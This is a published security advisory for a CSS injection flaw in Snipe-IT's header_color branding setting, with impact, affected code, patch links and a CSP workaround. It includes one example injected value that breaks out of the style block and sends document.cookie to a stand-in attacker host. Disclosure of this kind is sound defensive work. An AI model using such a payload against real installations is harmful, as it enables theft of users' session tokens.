GHSA-w7qw-5wfv-gwx9
Suggest an improvement- Source
- https://github.com/advisories/GHSA-w7qw-5wfv-gwx9
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-w7qw-5wfv-gwx9/GHSA-w7qw-5wfv-gwx9.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-w7qw-5wfv-gwx9
- Aliases
- Published
- 2026-08-28T18:04:29Z
- Modified
- 2026-08-28T18:15:06Z
- Severity
-
- 6.2 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N CVSS Calculator
- Summary
- Snipe-IT has CSS Injection via `header_color` Setting
- Details
-
Impact
Because
default.blade.phpis the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators.Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack.
Details
The
header_colorsetting (and related color settings such asnav_colorandlink_color) is rendered inside a CSS<style>block using Laravel's{{ }}syntax:--main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }};Although
{{ }}applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to theSettings > Brandingpage can inject arbitrary CSS by setting theheader_colorvalue to something like:#fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x {This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load.
Patches
Patched in https://github.com/grokability/snipe-it/pull/19097
Workarounds
Enable CSP in your .env file.
- Database specific
{ "cwe_ids": [ "CWE-79" ], "github_reviewed": true, "github_reviewed_at": "2026-08-28T18:04:29Z", "nvd_published_at": "2026-07-10T20:16:47Z", "severity": "MODERATE" }- References
-
- https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9
- https://nvd.nist.gov/vuln/detail/CVE-2026-55481
- https://github.com/grokability/snipe-it/pull/19097
- https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40
- https://github.com/grokability/snipe-it
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2
Affected packages
Packagist / snipe/snipe-it
Package
- Name
- snipe/snipe-it
- Purl
- pkg:composer/snipe/snipe-it
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0 Unknown introduced version / All previous versions are affectedFixed8.6.2